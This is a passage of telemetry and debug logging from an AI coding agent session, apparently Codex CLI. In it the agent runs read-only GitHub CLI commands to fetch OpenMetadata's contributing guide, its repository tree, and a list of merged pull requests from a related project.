\"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d3d9e6ff5f-FRA\"} version=HTTP/1.1\n[2026-07-12T04:02:59.904Z] [INFO] \n[2026-07-12T04:02:59.952Z] [INFO] 2026-07-12T04:02:59.949798Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:02:59.952Z] [INFO] \n[2026-07-12T04:02:59.976Z] [INFO] 2026-07-12T04:02:59.976554Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:02:59.976Z] [INFO] \n[2026-07-12T04:02:59.980Z] [INFO] 2026-07-12T04:02:59.978130Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:02:59.980Z] [INFO] \n[2026-07-12T04:02:59.981Z] [INFO] 2026-07-12T04:02:59.981397Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:02:59.981Z] [INFO] \n[2026-07-12T04:03:00.099Z] [INFO] 2026-07-12T04:03:00.093618Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:00.099Z] [INFO] 2026-07-12T04:03:00.093698Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:00 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"f3cd0d18-1a90-4c09-8eac-f8b70ab1aac0\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=RJhwY4Tb74D9KqTbyYG29ryrKxf%2BOKioVRMBGDNCC136eGECHXSQpM%2BvV1Hx3Bhtfz4LrpVUUYHtcqcCIbn3MPnKFfAV4400OJ3HYQ7DDYKB%2FnhPoPdUp4ZbKSo6\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d4fa92dc4a-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:00.099Z] [INFO] \n[2026-07-12T04:03:00.393Z] [INFO] 2026-07-12T04:03:00.390599Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:00.393Z] [INFO] \n[2026-07-12T04:03:00.415Z] [INFO] 2026-07-12T04:03:00.413121Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:00.415Z] [INFO] \n[2026-07-12T04:03:00.426Z] [INFO] 2026-07-12T04:03:00.424357Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:00.426Z] [INFO] \n[2026-07-12T04:03:00.437Z] [INFO] 2026-07-12T04:03:00.431559Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:00.437Z] [INFO] \n[2026-07-12T04:03:00.533Z] [INFO] 2026-07-12T04:03:00.531397Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:00.533Z] [INFO] 2026-07-12T04:03:00.531504Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:00 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"8a281dfa-0bcb-4107-8928-2835cb2f94b1\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=dsbd2BsKa8UPa7d9E8lo1pK3EQWLa%2BgGDAUqmTRZmHDTVCLrLLUuy6ReprAhIS9tYRvYyDiJ2AHo3GE6BSN1ttGTcl5KRUHA4BDHGW1YaWUNHp%2FUfee1Wlxg%2FUZC\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d7dd9e71cb-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:00.533Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] 2026-07-12T04:03:00.558079Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-177ef86b-02c1-4ddf-8538-b70e743cb244 arguments={\"cmd\":\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1593 success=true output=Chunk ID: 7243bf\n[2026-07-12T04:03:00.558Z] [INFO] Wall time: 1.3581 seconds\n[2026-07-12T04:03:00.558Z] [INFO] Process exited with code 0\n[2026-07-12T04:03:00.558Z] [INFO] Original token count: 303\n[2026-07-12T04:03:00.558Z] [INFO] Output:\n[2026-07-12T04:03:00.558Z] [INFO] # Contributors\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] We \u2764\ufe0f all contributions, big and small!\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] Read [Build Code and Run Tests](https://docs.open-metadata.org/developers/contribute/build-code-and-run-tests) for how to setup your local development environment. Get started with our [Good first issues](https://github.com/open-metadata/OpenMetadata/issues?q=is%3Aissue+is%3Aopen+label%3A%22good-first-issue%22).\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] We also recommend joining the OpenMetadata [Slack Workspace](https://slack.open-metadata.org/) to meet the team, stay up to date with product features, and chat with other contributors! \n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] Once joining our Slack we recommend Introducing yourself in the #introductions channel. Tell us a bit about yourself and how you are currently using OpenMetadata if you are.\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] If you need help getting started in contributing, you can reach out in the #support channel and ask if anyone would be available to get you up to speed or just answer some questions.  \n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.558Z] [INFO] If you just have suggestions for how to improve OpenMetadata you can submit your feedback in #feature-requests. If you have a fix or contribution in mind but need some guidance, please post in the #contributor channel with a description of the change before opening a new Github issue. \n[2026-07-12T04:03:00.558Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:00.558Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.558Z] [INFO] 2026-07-12T04:03:00.558134Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-177ef86b-02c1-4ddf-8538-b70e743cb244 duration_ms=1593 success=true arguments_length=214 output_length=1316 output_line_count=18 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:00.558Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.558Z] [INFO] \n[2026-07-12T04:03:00.623Z] [INFO] 2026-07-12T04:03:00.621180Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:00.623Z] [INFO] \n[2026-07-12T04:03:00.644Z] [INFO] 2026-07-12T04:03:00.644261Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:00.644Z] [INFO] \n[2026-07-12T04:03:00.651Z] [INFO] 2026-07-12T04:03:00.650686Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:00.651Z] [INFO] \n[2026-07-12T04:03:00.659Z] [INFO] 2026-07-12T04:03:00.654201Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:00.659Z] [INFO] \n[2026-07-12T04:03:00.672Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_20\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\\\"\",\"aggregated_output\":\"# Contributors\\n\\nWe \u2764\ufe0f all contributions, big and small!\\n\\nRead [Build Code and Run Tests](https://docs.open-metadata.org/developers/contribute/build-code-and-run-tests) for how to setup your local development environment. Get started with our [Good first issues](https://github.com/open-metadata/OpenMetadata/issues?q=is%3Aissue+is%3Aopen+label%3A%22good-first-issue%22).\\n\\nWe also recommend joining the OpenMetadata [Slack Workspace](https://slack.open-metadata.org/) to meet the team, stay up to date with product features, and chat with other contributors! \\n\\nOnce joining our Slack we recommend Introducing yourself in the #introductions channel. Tell us a bit about yourself and how you are currently using OpenMetadata if you are.\\n\\nIf you need help getting started in contributing, you can reach out in the #support channel and ask if anyone would be available to get you up to speed or just answer some questions.  \\n\\nIf you just have suggestions for how to improve OpenMetadata you can submit your feedback in #feature-requests. If you have a fix or contribution in mind but need some guidance, please post in the #contributor channel with a description of the change before opening a new Github issue. \\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:03:00.672Z] [INFO] \n[2026-07-12T04:03:00.862Z] [INFO] 2026-07-12T04:03:00.860328Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:03:00.862Z] [INFO] 2026-07-12T04:03:00.860444Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:03:00 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"c61f7c95-5209-42b7-b025-3f17d10b3928\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=JHg2HLyUK%2FIn3bmcHq8hkHkHXDdERz5w4PTUhrOoIL91yJ52oaiv7ox8vwH4kTF07MgKxDfzUkFUgSoOZy7Lgda%2BmK6HAE56Jx1VUoEfyYo4pemaNS0grVRuoMqF\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d27d93dcdbbcd-FRA\"} version=HTTP/1.1\n[2026-07-12T04:03:00.862Z] [INFO] \n[2026-07-12T04:03:00.903Z] [INFO] 2026-07-12T04:03:00.903395Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-1127f142-2f1c-4237-a193-4829c1dcdd61 arguments={\"cmd\":\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\"README.md\\\" or .path==\\\"CONTRIBUTING.md\\\" or .path==\\\"SECURITY.md\\\" or .path==\\\"openmetadata-spec\\\" or .path==\\\"openmetadata-service\\\" or .path==\\\"openmetadata-ui\\\" or .path==\\\"ingestion\\\" or .path==\\\"openmetadata-dist\\\" or .path==\\\"docker\\\" or .path==\\\"openmetadata-clients\\\" or .path==\\\"openmetadata-docs\\\" or .path==\\\".github/workflows\\\") | {path,type}]'\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=1937 success=true output=Chunk ID: e039bf\n[2026-07-12T04:03:00.903Z] [INFO] Wall time: 1.7023 seconds\n[2026-07-12T04:03:00.903Z] [INFO] Process exited with code 0\n[2026-07-12T04:03:00.903Z] [INFO] Original token count: 111\n[2026-07-12T04:03:00.903Z] [INFO] Output:\n[2026-07-12T04:03:00.903Z] [INFO] [{\"path\":\".github/workflows\",\"type\":\"tree\"},{\"path\":\"CONTRIBUTING.md\",\"type\":\"blob\"},{\"path\":\"README.md\",\"type\":\"blob\"},{\"path\":\"SECURITY.md\",\"type\":\"blob\"},{\"path\":\"docker\",\"type\":\"tree\"},{\"path\":\"ingestion\",\"type\":\"tree\"},{\"path\":\"openmetadata-clients\",\"type\":\"tree\"},{\"path\":\"openmetadata-dist\",\"type\":\"tree\"},{\"path\":\"openmetadata-service\",\"type\":\"tree\"},{\"path\":\"openmetadata-spec\",\"type\":\"tree\"},{\"path\":\"openmetadata-ui\",\"type\":\"tree\"}]\n[2026-07-12T04:03:00.903Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:00.903Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.903Z] [INFO] \n[2026-07-12T04:03:00.906Z] [INFO] 2026-07-12T04:03:00.904188Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-1127f142-2f1c-4237-a193-4829c1dcdd61 duration_ms=1937 success=true arguments_length=564 output_length=548 output_line_count=6 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:00.904Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.906Z] [INFO] \n[2026-07-12T04:03:00.916Z] [INFO] 2026-07-12T04:03:00.916419Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_TFDuOuM3NVuwrNC5tOrYEAs9 arguments=const cmds=[\n[2026-07-12T04:03:00.916Z] [INFO]  [\"related_prs\",\"gh pr list --repo link-foundation/meta-ontology --state merged --limit 30 --json number,title,mergedAt,url,body\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_repo\",\"gh api repos/open-metadata/OpenMetadata\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_release\",\"gh api repos/open-metadata/OpenMetadata/releases/latest\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_languages\",\"gh api repos/open-metadata/OpenMetadata/languages\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_tree\",\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\"README.md\\\" or .path==\\\"CONTRIBUTING.md\\\" or .path==\\\"SECURITY.md\\\" or .path==\\\"openmetadata-spec\\\" or .path==\\\"openmetadata-service\\\" or .path==\\\"openmetadata-ui\\\" or .path==\\\"ingestion\\\" or .path==\\\"openmetadata-dist\\\" or .path==\\\"docker\\\" or .path==\\\"openmetadata-clients\\\" or .path==\\\"openmetadata-docs\\\" or .path==\\\".github/workflows\\\") | {path,type}]'\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_readme\",\"gh api repos/open-metadata/OpenMetadata/readme -H 'Accept: application/vnd.github.raw+json'\"],\n[2026-07-12T04:03:00.916Z] [INFO]  [\"om_contrib\",\"gh api repos/open-metadata/OpenMetadata/contents/CONTRIBUTING.md -H 'Accept: application/vnd.github.raw+json'\"]\n[2026-07-12T04:03:00.916Z] [INFO] ];\n[2026-07-12T04:03:00.916Z] [INFO] const rs=await Promise.all(cmds.map(async ([n,c])=>[n,await tools.exec_command({cmd:c,workdir:\"/tmp/gh-issue-solver-1783828904396\",yield_time_ms:30000,max_output_tokens:30000})]));\n[2026-07-12T04:03:00.916Z] [INFO] for(const [n,r] of rs) text(`===== ${n} =====\\n${r.output}`);\n[2026-07-12T04:03:00.916Z] [INFO]  duration_ms=2081 success=true output=Script completed\n[2026-07-12T04:03:00.916Z] [INFO] Wall time 2.1 seconds\n[2026-07-12T04:03:00.916Z] [INFO] Output:\n[2026-07-12T04:03:00.916Z] [INFO] \n[2026-07-12T04:03:00.916Z] [INFO] Warning: truncated output (original token count: 17200)\n[2026-07-12T04:03:00.916Z] [INFO] Total output lines: 338\n[2026-07-12T04:03:00.916Z] [INFO] \n[2026-07-12T04:03:00.916Z] [INFO] ===== related_prs =====\n[2026-07-12T04:03:00.916Z] [INFO] [{\"body\":\"## Summary\\n\\n- Decouple GitHub Pages documentation deployment from package/GitHub release publication.\\n- Gate `deploy-docs` on successful `build` for main pushes and manual instant releases, so docs can still publish when package release fails later.\\n- Fix the observed `rust-script` release failure under `RUSTFLAGS=-Dwarnings`.\\n- Add an issue-3 case study with preserved CI run metadata, compressed failed-run logs, template workflow snapshots, and upstream-template follow-up.\\n\\nFixes #3\\n\\n## Reproduction\\n\\nThe preserved main-branch runs `24979900862` and `24983875003` both showed this sequence:\\n\\n1. `Build Package` succeeded.\\n2. `Auto Release` failed in `Check if version already released or no fragments`.\\n3. `Deploy Rust Documentation` was skipped because it depended on release jobs.\\n\\nThe detailed case study and raw data are in `docs/case-studies/issue-3/`.\\n\\n## Verification\\n\\n- `cargo fmt --check`\\n- `cargo test --all-features --verbose`\\n- `cargo test --doc --verbose`\\n- `cargo test --test unit ci_cd::workflow_release::documentation_deploy_is_independent_from_release_publication`\\n- `cargo clippy --all-targets --all-features`\\n- `rust-script scripts/check-file-size.rs`\\n- `RUSTFLAGS=-Dwarnings HAS_FRAGMENTS=true rust-script scripts/check-release-needed.rs`\\n- `cargo build --release --verbose`\\n- `cargo package --list --allow-dirty`\\n\\n## Template Follow-Up\\n\\nThe Rust CI/CD template has the same `deploy-docs` dependency issue. I filed:\\n\\nhttps://github.com/link-foundation/rust-ai-driven-development-pipeline-template/issues/38\\n\",\"mergedAt\":\"2026-04-27T08:59:27Z\",\"number\":4,\"title\":\"Fix GitHub Pages docs deployment independence\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/4\"},{\"body\":\"## Summary\\n\\nFirst prototype (MVP) of the meta-ontology project, addressing\\n[issue #1](https://github.com/link-foundation/meta-ontology/i\n[2026-07-12T04:03:00.916Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:03:00.916Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.916Z] [INFO] 2026-07-12T04:03:00.916505Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_TFDuOuM3NVuwrNC5tOrYEAs9 duration_ms=2081 success=true arguments_length=1307 output_length=2086 output_line_count=10 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:03:00.916Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:00.916Z] [INFO] \n[2026-07-12T04:03:00.922Z] [INFO] 2026-07-12T04:03:00.916723Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_TFDuOuM3NVuwrNC5tOrYEAs9 tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=2082 total_duration_ms=2082\n[2026-07-12T04:03:00.922Z] [INFO] 2026-07-12T04:03:00.916980Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:03:00.922Z] [INFO] \n[2026-07-12T04:03:00.960Z] [INFO] 2026-07-12T04:03:00.959417Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:03:00.960Z] [INFO] \n[2026-07-12T04:03:00.964Z] [INFO] 2026-07-12T04:03:00.962276Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:03:00.964Z] [INFO] \n[2026-07-12T04:03:00.969Z] [INFO] 2026-07-12T04:03:00.967631Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:03:00.969Z] [INFO] \n[2026-07-12T04:03:00.992Z] [INFO] 2026-07-12T04:03:00.988845Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:03:00.992Z] [INFO] \n[2026-07-12T04:03:01.064Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_21\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"gh api 'repos/open-metadata/OpenMetadata/git/trees/main?recursive=1' --jq '[.tree[] | select(.path==\\\\\\\"README.md\\\\\\\" or .path==\\\\\\\"CONTRIBUTING.md\\\\\\\" or .path==\\\\\\\"SECURITY.md\\\\\\\" or .path==\\\\\\\"openmetadata-spec\\\\\\\" or .path==\\\\\\\"openmetadata-service\\\\\\\" or .path==\\\\\\\"openmetadata-ui\\\\\\\" or .path==\\\\\\\"ingestion\\\\\\\" or .path==\\\\\\\"openmetadata-dist\\\\\\\" or .path==\\\\\\\"docker\\\\\\\" or .path==\\\\\\\"openmetadata-clients\\\\\\\" or .path==\\\\\\\"openmetadata-docs\\\\\\\" or .path==\\\\\\\".github/workflows\\\\\\\") | {path,type}]'\\\"\",\"aggregated_output\":\"[{\\\"path\\\":\\\".github/workflows\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"CONTRIBUTING.md\\\",\\\"type\\\":\\\"blob\\\"},{\\\"path\\\":\\\"README.md\\\",\\\"type\\\":\\\"blob\\\"},{\\\"path\\\":\\\"SECURITY.md\\\",\\\"type\\\":\\\"blob\\\"},{\\\"path\\\":\\\"docker\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"ingestion\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-clients\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-dist\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-service\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-spec\\\",\\\"type\\\":\\\"tree\\\"},{\\\"path\\\":\\\"openmetadata-ui\\\",\\\"type\\\":\\\"tree\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:03:01.064Z] [INFO] \n[2026-07-12T04:03:01.075Z] [INFO] 2026-07-12T04:03:01.073864Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:01.073Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:01.075Z] [INFO] 2026-07-12T04:03:01.074897Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:03:01.074Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:03:01.075Z] [INFO] \n[2026-07-12T04:03:01.079Z] [INFO] 2026-07-12T04:03:01.076015Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" 